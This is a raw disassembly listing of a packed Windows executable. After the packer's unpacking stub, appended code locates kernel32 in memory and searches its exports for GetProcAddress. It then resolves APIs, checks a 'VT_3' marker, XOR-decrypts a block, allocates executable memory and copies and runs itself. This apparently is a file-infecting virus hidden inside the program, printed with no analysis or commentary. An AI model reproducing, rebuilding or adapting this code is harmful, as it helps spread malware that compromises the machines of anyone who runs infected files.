		dd 29EC224Ah, 0EE2E14EBh, 0DEC5AB9h, 0E8732DAh,	322408C2h
		dd 1690B010h, 2532B89Dh, 8EC18027h, 11BBE274h, 283C3B49h
		dd 0B52494C0h, 18652CC4h, 35059A34h, 25612FEBh,	0D760503h
		dd 0A0F3F829h, 0A5407106h, 3BCB6831h, 49CF3847h, 404A288h
		dd 0D30C3DE4h, 892BA08Dh, 2BAEAE08h, 34D304C0h,	70F643Bh
		dd 0DA2FE909h, 14C058FEh, 0E9098954h, 0A72972FBh, 1C968917h
		dd 3D831213h, 138F8810h, 354571B1h, 71621013h, 402189A1h
		dd 26E58B17h, 0E52F505Dh, 58A84948h, 0C340AE03h, 5BE0FFA9h
		dd 0C31D9B3Bh, 0EB111C14h, 1DD89DDAh, 88D493D6h, 46962C31h
		dd 40016A0Fh, 89591475h, 6D4644Dh, 96DC0CD8h, 0F4453120h
		dd 0F988E410h, 4AD92CF5h, 0B23FD71Fh, 4E806E0h,	0C6F007ECh
		dd 2202F6C3h, 0F820F708h, 0FAF94403h, 0F3FB89h,	7D8BFC60h
		dd 380C8A08h, 0E8F98006h, 750A0B74h, 40063AE9h,	16089973h
		dd 5D1B0455h, 2B3AC010h, 0CB72030Ah, 0F983D801h, 761A8905h
		dd 8126BAD3h, 0C9851086h, 7B8B0CE4h, 77E21C16h,	8949CFD1h
		dd 8AF47500h, 4013854h,	974D284h, 0F960FA80h, 30B74285h
		dd 0D10CAC0Eh, 5D4ACA6Dh, 7E30B86h, 0D49DF802h,	0C529E24h
		dd 2092FE86h, 8392DDF9h, 8AC93319h, 384C90EAh, 0C0B6FC03h
		dd 0E1C1027Eh, 0CA500B08h, 9084010Ah, 0CD072BDh, 0EA831055h
		dd 98C23EDEh, 723974DAh, 3C1861A7h, 0F9F40D7Ch,	3409FCFh
		dd 2B59D1C3h, 8BD3D3CAh, 5EB22EAh, 0E0157524h, 0AECF2433h
		dd 5A032A79h, 0E2D30ECDh, 0EB86334Ah, 0CBFA15BBh, 558B590h
		dd 80180002h, 0C9FE01E1h, 88D133F6h, 2666FFDEh,	42131020h
		dd 7D0822FEh, 525C7DFDh, 143AD8FCh, 39500EA4h, 325540ABh
		dd 0FD63C9FAh, 0FC453BF8h, 0DB4D96B8h, 0D2254B6Fh, 27877A53h
		dd 560CE45Eh, 71B76C87h, 79F75797h, 7ED285A0h, 89531F41h
		dd 0EED10E55h, 0FE3BE040h, 2B740472h, 81010C1Eh, 73ECE02Ah
		dd 118B2300h, 3B08E6C1h, 75040251h, 1041C70Ch, 80269872h
		dd 500D3CBh, 89421A8Ah,	0D3CEA011h, 0EAE751C1h,	759ED0B0h
		dd 896E5BC4h, 39E7B90h,	8BC35DC6h, 0C03A244Ch, 56041954h
		dd 0C1E641B8h, 0F8F03215h, 0BEF3CC1h, 3AEAF28h,	0F73B0C71h
		dd 521E5273h, 2D86608h,	0E1BFF030h, 0D89E60E7h,	305FFC1h
		dd 8966F80Ch, 0A93D5B3Ah, 31E82C74h, 7171523Bh,	1640CAC8h
		dd 0D9318946h, 51D2E883h, 0D5F20B90h, 0DC6DD7E0h, 0C50066E2h
		dd 722B51EBh, 16F768C7h, 19B33511h, 0E0F00A43h,	51BEEC1h
		dd 0F7AAC62Bh, 810851B0h, 5856A0FAh, 0AE2A6573h, 50581B53h
		dd 2BC5B046h, 0FB10541Eh, 655BF787h, 51554AE2h,	2727A9C6h
		dd 589CB72Ch, 0C91F7E2Ah, 1CC116D3h, 78C2348Dh,	167390D9h
		dd 4C19E850h, 4F125952h, 0A9F775E8h, 109DB58h, 2BB2025Ah
		dd 53FC80C2h, 0DDDB3357h, 39FF001Ah, 5A14245Ch,	56277E07h
		dd 1087448Bh, 18C674D7h, 38125176h, 71BE3C21h, 2606141Dh
		dd 0E0D30005h, 3B47D80Bh, 6C4E7C6Eh, 28C384DBh,	98725B5Fh
		dd 408C8310h, 3B07BCCEh, 647E65D0h, 0A08EDC6h, 904EB0Ch
		dd 5FC4848Dh, 809075F1h, 0D88B87A1h, 0F8CB8333h, 1675F03Bh
		dd 91FB812Eh, 4D437D2Bh, 8D5B8636h, 0A8790146h,	0F6C3031Eh
		dd 62476404h, 0DBC72770h, 28EBD83Ch, 0D2DBECEh,	147DDE3Bh
		dd 3E26B751h, 9B5110B8h, 82EB9A38h, 62C38AC7h, 0B1C0081Eh
		dd 1492AD20h, 0D7109781h, 4733E8D9h, 0E88F1B1Eh, 5D187565h
		dd 36A0CC8h, 8D7904B0h,	70C83074h, 2226A7DEh, 265E042h
		dd 28720B1Ch, 84411C1Eh, 0B33ADFB2h, 0C5412B92h, 819E3008h
		dd 0C704C62Ah, 0B6CA6A7Ah, 10C4169Dh, 34C96C9Dh, 53F15B21h
		dd 14246A22h, 9F32944Dh, 255BCE4Ch, 527130Bh, 96F28B65h
		dd 0EC4006E2h, 18E4F714h, 5E60BD3h, 0A1240736h,	0F8B2C3CFh
		dd 40F00620h, 4E7DE8F4h, 4EE47536h, 0E011CF36h,	8C08D41Eh
		dd 19127616h, 0BF0482F7h, 0D1FE0004h, 13ABF3E9h, 0A666CC9h
		dd 80C11CC4h, 0DC658320h, 0D80820C3h, 0FF1274B0h, 0F2073C8Dh
		dd 7D31CC45h, 18D9C7D0h, 7A707E6Ch, 6475FA39h, 81DC9E07h
		dd 0BE08EBEEh, 788A385Ch, 0D8660AD9h, 0B1C06020h, 0B5C81FD4h
		dd 75A791FCh, 2C3686D9h, 27822083h, 0EF02287Dh,	462F02A5h
		dd 50528DE4h, 0CA50BB23h, 8FFDFC34h, 14FDC703h,	0F33EFB46h
		dd 3B175741h, 20905284h, 7B1E055h, 104D2A08h, 0A0148623h
		dd 0E8D3C31Bh, 34C1DCB0h, 5492C203h, 98E25940h,	0BCD1E3FCh
		dd 7AEA7930h, 0F69E0651h, 2733A3EBh, 0E36D190Ah, 6F04E303h
		dd 0ECAE140Dh, 0C2277406h, 2B2404A8h, 8A2CF8ECh, 0B520FA04h
		dd 76CEEFD4h, 0E857500Bh, 0D9B446BEh, 208A4A76h, 44901EECh
		dd 0C9035B20h, 0E71B503Ah, 0E68955F5h, 0CC9D2F49h, 248AE57Ch
		dd 0DA73EB2Eh, 4021FC14h, 145ECFAh, 805EB041h, 0B5A43E0Ch
		dd 54F8833Eh, 2C8AD3B6h, 86983844h, 40D12257h, 40767515h
		dd 0EC877898h, 75CE0711h, 0CAFB8327h, 7CE320A2h, 24481F9Dh
		dd 0B9F3AFEh, 0C6F8172Bh, 8A1AE5F7h, 8E31011Ch,	12886C51h
		dd 0A9637CE9h, 0CB0CB073h, 303CFB53h, 0EBF04E05h, 4373A62Bh
		dd 1CAF29C8h, 9EBF461h,	10E484BAh, 4E8585E8h, 19DAF03Eh
		dd 0B3065D0Dh, 0A576918h, 0A68866Ah, 0FD370834h, 0E2A752Ch
		dd 8D8A1DB0h, 14FD8A19h, 0C4E98744h, 92998989h,	0B6E81857h
		dd 0DE9D0CD9h, 0E4296985h, 0C284500Ah, 8E066486h, 0B9A33F4Fh
		dd 7D0404F8h, 0C203EB02h, 0F88058E0h, 0CC4D8D07h, 3FE5514Dh
		dd 6F6AC060h, 8DB64A06h, 439406Fh, 7A985A7Ch, 0D13FA398h
		dd 1E30BF9h, 0D3A82749h, 0E287Ch, 558D1D7Dh, 8B5152CCh
		dd 0C8612BFEh, 55E4E68h, 91D15742h, 0AE200332h,	0A1C1EE2Eh
		dd 28885171h, 5429FA5Fh, 8880D815h, 4A6A9644h, 852BA66Fh
		dd 59D3EB14h, 0D943B6EDh, 7D8E435Dh, 2D0DC1CCh,	524AC647h
		dd 0D1C55BAEh, 90C852Bh
		dd 5A220260h, 26C84F41h, 7E1DFF85h, 28C43B05h, 2ED7E172h
		dd 0F047E8Eh, 12885B82h, 1F2C694Dh, 0C2896F85h,	858C09Fh
		dd 97509697h, 0F0E44D37h, 0A060A181h, 2A02119Ch, 67F11205h
		dd 14B9A201h, 2C11B42Ch, 1B311B40h, 9ED673C8h, 650E8E33h
		dd 640314D4h, 602F0D10h, 19F97815h, 20105FE7h, 18E00E95h
		dd 708229DBh, 8D0E4C02h, 300A0652h, 0B0220969h,	18A671A8h
		dd 0C0h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		call	$+5
		mov	ebp, [esp+24h+var_24]
		add	esp, 4
		cmp	[esp+20h+arg_4], 1
		jnz	short loc_439D49
		mov	eax, [esp+20h+arg_0]
		mov	[ebp+43Ch], eax
		jmp	short loc_439D55
; ---------------------------------------------------------------------------


loc_439D49:				; CODE XREF: start+11j
		mov	eax, [ebp+438h]
		mov	[ebp+43Ch], eax


loc_439D55:				; CODE XREF: start+1Dj
		lea	esi, [ebp+460h]
		lea	ebx, [ebp+2EBh]
		xor	edi, edi
		call	sub_439EBA
		jmp	short loc_439D85
; ---------------------------------------------------------------------------


loc_439D6A:				; CODE XREF: start+5Fj
		mov	eax, [ebp+43Ch]
		push	dword ptr [edi+esi+4]
		add	[esp+24h+var_24], eax
		push	dword ptr [edi+esi]
		add	[esp+28h+var_28], eax
		call	ebx
		add	esp, 8
		add	edi, 8


loc_439D85:				; CODE XREF: start+3Ej
		cmp	dword ptr [edi+esi], 0
		jnz	short loc_439D6A
		cmp	dword ptr [ebp+448h], 0
		jz	short loc_439DA2
		cmp	dword ptr [ebp+44Ch], 0
		jz	short loc_439DA2
		call	sub_439F5A


loc_439DA2:				; CODE XREF: start+68j	start+71j
		lea	esi, [edi+esi+4]
		push	ebx
		push	40h
		push	1000h
		push	0A5h
		push	0
		call	dword ptr [ebp+3D1h]
		mov	[ebp+45Ch], eax
		pop	ebx
		push	dword ptr [ebp+45Ch]
		push	esi
		call	ebx
		add	esp, 8
		mov	esi, [ebp+45Ch]
		mov	eax, esi
		jmp	short loc_439DD9
; ---------------------------------------------------------------------------


loc_439DD8:				; CODE XREF: start+B2j
		inc	eax


loc_439DD9:				; CODE XREF: start+ACj
		cmp	byte ptr [eax],	1
		jnz	short loc_439DD8
		inc	eax
		mov	edi, [eax]
		add	edi, [ebp+43Ch]
		add	eax, 4
		mov	[ebp+458h], eax
		jmp	loc_439E89
; ---------------------------------------------------------------------------


loc_439DF5:				; CODE XREF: start+162j
		push	esi
		call	dword ptr [ebp+3C9h]
		test	eax, eax
		jz	loc_439EB8
		mov	[ebp+454h], eax
		mov	eax, esi
		jmp	short loc_439E69
; ---------------------------------------------------------------------------


loc_439E0E:				; CODE XREF: start+13Dj start+142j
		mov	eax, [ebp+458h]
		mov	eax, [eax]
		test	eax, 80000000h
		jz	short loc_439E31
		xor	eax, 80000000h
		push	eax
		mov	eax, [ebp+458h]
		mov	dword ptr [eax], 202020h
		jmp	short loc_439E37
; ---------------------------------------------------------------------------


loc_439E31:				; CODE XREF: start+F1j
		push	dword ptr [ebp+458h]


loc_439E37:				; CODE XREF: start+105j
		push	dword ptr [ebp+454h]
		call	dword ptr [ebp+3CDh]
		test	eax, eax
		jz	short loc_439EB8
		mov	[edi], eax
		add	edi, 4
		mov	eax, [ebp+458h]
		jmp	short loc_439E55
; ---------------------------------------------------------------------------


loc_439E54:				; CODE XREF: start+12Ej
		inc	eax


loc_439E55:				; CODE XREF: start+128j
		cmp	byte ptr [eax],	0
		jnz	short loc_439E54
		inc	eax
		mov	[ebp+458h], eax
		cmp	word ptr [eax+2], 8000h
		jz	short loc_439E0E


loc_439E69:				; CODE XREF: start+E2j
		cmp	byte ptr [eax],	0
		jnz	short loc_439E0E
		jmp	short loc_439E71
; ---------------------------------------------------------------------------


loc_439E70:				; CODE XREF: start+14Aj
		inc	esi


loc_439E71:				; CODE XREF: start+144j
		cmp	byte ptr [esi],	0
		jnz	short loc_439E70
		inc	esi
		inc	eax
		mov	edi, [eax]
		add	edi, [ebp+43Ch]
		add	eax, 4
		mov	[ebp+458h], eax


loc_439E89:				; CODE XREF: start+C6j
		cmp	byte ptr [esi],	1
		jnz	loc_439DF5
		push	4000h
		push	0A5h
		push	dword ptr [ebp+45Ch]
		call	dword ptr [ebp+3D5h]
		call	sub_439EEA
		call	sub_439FD6
		popa
		jmp	sub_42B42C
; ---------------------------------------------------------------------------


loc_439EB8:				; CODE XREF: start+D4j	start+11Bj
		popa
		retn
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_439EBA	proc near		; CODE XREF: start+39p
		pusha
		mov	eax, [ebp+43Ch]
		add	eax, [eax+3Ch]
		add	ax, [eax+14h]
		add	eax, 18h
		mov	ebx, [eax+0Ch]
		add	ebx, [ebp+43Ch]
		mov	ecx, [eax+8]
		lea	eax, [ebp+434h]
		push	eax
		push	40h
		push	ecx
		push	ebx
		call	dword ptr [ebp+3D9h]
		popa
		retn
sub_439EBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_439EEA	proc near		; CODE XREF: start+17Ep
		pusha
		mov	esi, [ebp+440h]
		or	esi, esi
		jz	short loc_439F58
		mov	edi, [ebp+438h]
		mov	eax, [ebp+43Ch]
		cmp	eax, edi
		jz	short loc_439F58
		add	esi, eax
		jmp	short loc_439F53
; ---------------------------------------------------------------------------


loc_439F09:				; CODE XREF: sub_439EEA+6Cj
		mov	edx, [esi]
		mov	eax, [esi+4]
		mov	[ebp+444h], eax
		add	[ebp+444h], esi
		add	esi, 8
		jmp	short loc_439F4B
; ---------------------------------------------------------------------------


loc_439F1F:				; CODE XREF: sub_439EEA+67j
		movzx	eax, word ptr [esi]
		mov	ebx, eax
		shr	ebx, 0Ch
		mov	ecx, ebx
		imul	ebx, 1000h
		sub	eax, ebx
		add	eax, edx
		add	eax, [ebp+43Ch]
		cmp	ecx, 3
		jnz	short loc_439F48
		sub	[eax], edi
		mov	ecx, [ebp+43Ch]
		add	[eax], ecx


loc_439F48:				; CODE XREF: sub_439EEA+52j
		add	esi, 2


loc_439F4B:				; CODE XREF: sub_439EEA+33j
		cmp	esi, [ebp+444h]
		jb	short loc_439F1F


loc_439F53:				; CODE XREF: sub_439EEA+1Dj
		cmp	dword ptr [esi], 0
		jnz	short loc_439F09


loc_439F58:				; CODE XREF: sub_439EEA+9j
					; sub_439EEA+19j
		popa
		retn
sub_439EEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_439F5A	proc near		; CODE XREF: start+73p
		pusha
		mov	esi, [ebp+448h]
		add	esi, [ebp+43Ch]
		mov	edi, esi
		mov	ecx, [ebp+44Ch]
		cmp	dword ptr [ebp+450h], 0
		jz	short loc_439FAC
		jmp	short loc_439FA5
; ---------------------------------------------------------------------------


loc_439F7A:				; CODE XREF: sub_439F5A+4Ej
		cmp	byte ptr [esi],	0E8h
		jz	short loc_439F84
		cmp	byte ptr [esi],	0E9h
		jnz	short loc_439FA3


loc_439F84:				; CODE XREF: sub_439F5A+23j
		mov	eax, [esi+1]
		cmp	al, [ebp+450h]
		jnz	short loc_439F9D
		mov	al, 0
		bswap	eax
		sub	eax, 5
		add	eax, edi
		sub	eax, esi
		mov	[esi+1], eax


loc_439F9D:				; CODE XREF: sub_439F5A+33j
		add	esi, 4
		sub	ecx, 4


loc_439FA3:				; CODE XREF: sub_439F5A+28j
		inc	esi
		dec	ecx


loc_439FA5:				; CODE XREF: sub_439F5A+1Ej
		cmp	ecx, 0
		ja	short loc_439F7A
		jmp	short loc_439FD4
; ---------------------------------------------------------------------------


loc_439FAC:				; CODE XREF: sub_439F5A+1Cj
		cdq
		jmp	short loc_439FCF
; ---------------------------------------------------------------------------


loc_439FAF:				; CODE XREF: sub_439F5A+78j
		inc	edx
		cmp	byte ptr [esi],	0E8h
		jz	short loc_439FBA
		cmp	byte ptr [esi],	0E9h
		jnz	short loc_439FCD


loc_439FBA:				; CODE XREF: sub_439F5A+59j
		mov	eax, [esi+1]
		bswap	eax
		sub	eax, edx
		mov	[esi+1], eax
		add	esi, 4
		add	edx, 4
		sub	ecx, 4


loc_439FCD:				; CODE XREF: sub_439F5A+5Ej
		inc	esi
		dec	ecx


loc_439FCF:				; CODE XREF: sub_439F5A+53j
		cmp	ecx, 0
		ja	short loc_439FAF


loc_439FD4:				; CODE XREF: sub_439F5A+50j
		popa
		retn
sub_439F5A	endp


; =============== S U B	R O U T	I N E =======================================



sub_439FD6	proc near		; CODE XREF: start+183p
		pusha
		mov	esi, [ebp+43Ch]
		add	esi, [esi+3Ch]
		mov	esi, [esi+0C0h]
		or	esi, esi
		jz	short loc_43A019
		add	esi, [ebp+43Ch]
		add	esi, 0Ch
		mov	esi, [esi]
		or	esi, esi
		jz	short loc_43A019
		mov	eax, [esi]
		jmp	short loc_43A015
; ---------------------------------------------------------------------------


loc_439FFD:				; CODE XREF: sub_439FD6+41j
		push	esi
		cmp	dword ptr [eax], 0
		jz	short loc_43A00F
		push	0
		push	1
		push	dword ptr [ebp+43Ch]
		call	eax


loc_43A00F:				; CODE XREF: sub_439FD6+2Bj
		pop	esi
		add	esi, 4
		mov	eax, [esi]


loc_43A015:				; CODE XREF: sub_439FD6+25j
		or	eax, eax
		jnz	short loc_439FFD


loc_43A019:				; CODE XREF: sub_439FD6+12j
					; sub_439FD6+21j
		popa
		retn
sub_439FD6	endp

; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h
		xor	ebx, ebx


loc_43A029:				; CODE XREF: .RLPack:0043A031j
		movsb
		mov	bl, 2


loc_43A02C:				; CODE XREF: .RLPack:0043A056j
					; .RLPack:0043A09Cj
		call	sub_43A09E
		jnb	short loc_43A029
		xor	ecx, ecx
		call	sub_43A09E
		jnb	short loc_43A058
		xor	eax, eax
		call	sub_43A09E
		jnb	short loc_43A068
		mov	bl, 2
		inc	ecx
		mov	al, 10h


loc_43A04A:				; CODE XREF: .RLPack:0043A051j
		call	sub_43A09E
		adc	al, al
		jnb	short loc_43A04A
		jnz	short loc_43A094
		stosb
		jmp	short loc_43A02C
; ---------------------------------------------------------------------------


loc_43A058:				; CODE XREF: .RLPack:0043A03Aj
		call	sub_43A0AA
		sub	ecx, ebx
		jnz	short loc_43A071
		call	sub_43A0A8
		jmp	short loc_43A090
; ---------------------------------------------------------------------------


loc_43A068:				; CODE XREF: .RLPack:0043A043j
		lodsb
		shr	eax, 1
		jz	short loc_43A0BA
		adc	ecx, ecx
		jmp	short loc_43A08D
; ---------------------------------------------------------------------------


loc_43A071:				; CODE XREF: .RLPack:0043A05Fj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	sub_43A0A8
		cmp	eax, 7D00h
		jnb	short loc_43A08D
		cmp	ah, 5
		jnb	short loc_43A08E
		cmp	eax, 7Fh
		ja	short loc_43A08F


loc_43A08D:				; CODE XREF: .RLPack:0043A06Fj
					; .RLPack:0043A081j
		inc	ecx


loc_43A08E:				; CODE XREF: .RLPack:0043A086j
		inc	ecx


loc_43A08F:				; CODE XREF: .RLPack:0043A08Bj
		xchg	eax, ebp


loc_43A090:				; CODE XREF: .RLPack:0043A066j
		mov	eax, ebp
		mov	bl, 1


loc_43A094:				; CODE XREF: .RLPack:0043A053j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_43A02C

; =============== S U B	R O U T	I N E =======================================



sub_43A09E	proc near		; CODE XREF: .RLPack:loc_43A02Cp
					; .RLPack:0043A035p ...
		add	dl, dl
		jnz	short locret_43A0A7
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_43A0A7:				; CODE XREF: sub_43A09E+2j
		retn
sub_43A09E	endp


; =============== S U B	R O U T	I N E =======================================



sub_43A0A8	proc near		; CODE XREF: .RLPack:0043A061p
					; .RLPack:0043A077p
		xor	ecx, ecx
sub_43A0A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43A0AA	proc near		; CODE XREF: .RLPack:loc_43A058p
		inc	ecx


loc_43A0AB:				; CODE XREF: sub_43A0AA+Dj
		call	sub_43A09E
		adc	ecx, ecx
		call	sub_43A09E
		jb	short loc_43A0AB
		retn
sub_43A0AA	endp

; ---------------------------------------------------------------------------


loc_43A0BA:				; CODE XREF: .RLPack:0043A06Bj
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 3A0ECh, 3A0F9h, 5 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 801D7700h, 80ADA07Ch
		dd 809A517Ch, 809AE47Ch, 801AD07Ch, 7Ch, 4C000000h, 4C64616Fh
		dd 61726269h, 417972h, 74654700h, 636F7250h, 72646441h
		dd 737365h, 72695600h, 6C617574h, 6F6C6C41h, 56000063h
		dd 75747269h, 72466C61h, 6565h,	74726956h, 506C6175h, 65746F72h
		dd 7463h, 1000h, 8, 20h, 2 dup(400000h), 2 dup(0)
		dd 20000h, 0A060h, 3, 7E410000h, 3300A9h, 330000h, 2E000h
		dd 20000h, 39108h, 2B000h, 0
		dd 52451C4Bh, 334CC04Eh, 6C642E32h, 5355C0E3h, 0C10B1CD0h
		dd 2B10C01h, 0F6956C0h,	61757472h, 65CE46CEh, 418C0C35h
		dd 63706F38h, 7D78453Fh, 12725031h, 83C77365h, 0B47AD47h
		dd 0D41E6441h, 0BD4C3D0Fh, 693E7461h, 79FC7662h, 1E414CCAh
		dd 646F4D01h, 48DC6C75h, 0B06E6F61h, 0CD4841AAh, 63F3DF67h
		dd 462028D5h, 4E086961h, 45B86D61h, 4DF73033h, 677E997Eh
		dd 896F4237h, 0Ch, 0E8900000h, 0
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		test	dword ptr [eax+242Bh], 80000000h
		mov	[eax+29ACh], ebx
		mov	ebx, [esp+4]
		jz	short loc_43A272
		cld
		pop	ecx
		mov	[eax+29B0h], esi
		mov	[eax+29B4h], edi
		cmp	byte ptr [eax+242Fh], 0E8h
		jnz	short loc_43A269
		add	ebx, [eax+2430h]
		mov	ebx, [ebx+2]
		push	dword ptr [ebx]
		jmp	short loc_43A271
; ---------------------------------------------------------------------------


loc_43A269:				; CODE XREF: .RLPack:0043A25Aj
		mov	ebx, [eax+2431h]
		push	dword ptr [ebx]


loc_43A271:				; CODE XREF: .RLPack:0043A267j
		pop	ebx


loc_43A272:				; CODE XREF: .RLPack:0043A243j
		push	ebp
		xchg	eax, ebp
		sub	dword ptr [esp+4], 502h
		and	ebx, 0FFFFF000h
		sub	ebp, 401006h
		mov	edi, [esp+4]
		lea	esi, [ebp+40343Ch]
		mov	ecx, 8Ch
		rep movsb


loc_43A299:				; CODE XREF: .RLPack:0043A2B5j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jnz	short loc_43A2AF
		mov	eax, [ebx+3Ch]
		lea	eax, [eax+ebx]
		cmp	word ptr [eax],	4550h
		jz	short loc_43A2B7


loc_43A2AF:				; CODE XREF: .RLPack:0043A2A0j
		sub	ebx, 100h
		jnz	short loc_43A299


loc_43A2B7:				; CODE XREF: .RLPack:0043A2ADj
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_43A2C5:				; CODE XREF: .RLPack:loc_43A2ECj
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax-1], 74654700h
		jnz	short loc_43A2EC
		cmp	dword ptr [eax+3], 636F7250h
		jnz	short loc_43A2EC
		cmp	dword ptr [eax+7], 72646441h
		jnz	short loc_43A2EC
		cmp	dword ptr [eax+0Bh], 737365h
		jz	short loc_43A2F1


loc_43A2EC:				; CODE XREF: .RLPack:0043A2CFj
					; .RLPack:0043A2D8j ...
		loop	loc_43A2C5
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43A2F1:				; CODE XREF: .RLPack:0043A2EAj
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		call	near ptr loc_43A317+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_43A375+2
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_43A317:				; CODE XREF: .RLPack:0043A308p
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+40353Ch], eax
		call	near ptr loc_43A333+1
		inc	ebx
		jb	short near ptr loc_43A38E+1
		popa
		jz	short near ptr loc_43A38E+4
		inc	ebp
		jbe	short near ptr loc_43A394+1
		outsb
		jz	short near ptr loc_43A372+2


loc_43A333:				; CODE XREF: .RLPack:0043A322p
		add	[ebx-1], dl
		setalc
		mov	[ebp+403540h], eax
		call	sub_43A34F
		inc	edi
		db	65h
		jz	short near ptr loc_43A38E+4
		popa
		jnb	short loc_43A3BD
		inc	ebp
		jb	short near ptr loc_43A3BD+1
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_43A34F	proc near		; CODE XREF: .RLPack:0043A33Dp

; FUNCTION CHUNK AT 0043A3F8 SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 0043A538 SIZE 0000013A BYTES

		push	ebx
		call	esi
		mov	[ebp+403544h], eax
		call	sub_43A3CD
		test	eax, eax
		jz	short loc_43A382
		push	eax
		call	dword ptr [ebp+403544h]
		test	eax, eax
		jnz	short loc_43A37C
		lea	eax, [ebp+4011D2h]


loc_43A372:				; CODE XREF: .RLPack:0043A331j
		mov	dl, [eax-1]


loc_43A375:				; CODE XREF: .RLPack:0043A310j
		call	sub_43A3E8
		jmp	short loc_43A3F8
; ---------------------------------------------------------------------------


loc_43A37C:				; CODE XREF: sub_43A34F+1Bj
					; sub_43A34F+136j ...
		call	dword ptr [ebp+40353Ch]


loc_43A382:				; CODE XREF: sub_43A34F+10j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_43A3AC


loc_43A38E:				; CODE XREF: .RLPack:0043A328j
					; .RLPack:0043A32Bj ...
		lea	esi, [ebp+403435h]


loc_43A394:				; CODE XREF: .RLPack:0043A32Ej
		mov	edi, [esp+4]
		movsb
		movsd
		mov	ebx, dword ptr ss:loc_4039B2[ebp]
		mov	esi, [ebp+4039B6h]
		mov	edi, [ebp+4039BAh]


loc_43A3AC:				; CODE XREF: sub_43A34F+3Dj
		pop	ebp
		retn
sub_43A34F	endp

; ---------------------------------------------------------------------------


loc_43A3AE:				; CODE XREF: sub_43A3CD+2p
					; sub_43A34F:loc_43A5B7p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_43A3BD:				; CODE XREF: .RLPack:0043A347j
					; .RLPack:0043A34Aj
		les	ebp, [edx+0]
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
; ---------------------------------------------------------------------------
aVt_3		db 'VT_3',0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43A3CD	proc near		; CODE XREF: sub_43A34F+9p
		xor	ecx, ecx
		call	loc_43A3AE
		lea	edx, [ebp+4011A1h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+403540h]
		add	esp, 20h
		retn
sub_43A3CD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43A3E8	proc near		; CODE XREF: sub_43A34F:loc_43A375p
					; sub_43C1BC+25Bp
		mov	dh, dl
		mov	ecx, 225Fh


loc_43A3EF:				; CODE XREF: sub_43A3E8+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_43A3EF
		retn
sub_43A3E8	endp

; ---------------------------------------------------------------------------
		db 0E0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A34F


loc_43A3F8:				; CODE XREF: sub_43A34F+2Bj
		and	dword ptr [ebp+401580h], 0
		and	dword ptr ss:loc_401584[ebp], 0
		and	dword ptr [ebp+401588h], 0
		mov	eax, [ebp+403431h]
		xor	ecx, ecx
		push	1
		mov	cl, 20h
		pop	dword ptr ss:loc_40397E[ebp]


loc_43A41F:				; CODE XREF: sub_43A34F+E0j
		xor	edx, edx
		shr	eax, 1
		setb	dl
		shl	dl, 3
		add	dword ptr ss:loc_40397E[ebp], edx
		loop	loc_43A41F
		push	edi
		mov	byte ptr [ebp+401303h],	1
		mov	[ebp+403548h], esi
		lea	esi, [ebp+4015BBh]
		xor	ecx, ecx
		lea	edi, loc_403558[ebp]
		mov	cl, 1Eh
		call	sub_43A7B2
		pop	edi
		call	dword ptr ss:loc_403594[ebp]
		shr	eax, 1Fh
		jz	loc_43A538
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	dword ptr ss:loc_403550[ebp], eax
		push	69CEh
		push	0
		call	dword ptr [ebp+4035C8h]
		test	eax, eax
		jz	loc_43A37C
		xchg	eax, edi
		lea	esi, sub_401000[ebp]
		mov	ebp, edi
		mov	ecx, 0A74h
		sub	ebp, offset sub_401000
		lea	edx, [ebp+401283h]
		rep movsd
		jmp	edx
; END OF FUNCTION CHUNK	FOR sub_43A34F
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+401A3Dh]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr ss:loc_403550[ebp]
		add	esp, 20h
		test	eax, eax
		jz	loc_43A37C
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr ss:loc_403550[ebp]
		test	eax, eax
		jz	loc_43A37C
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
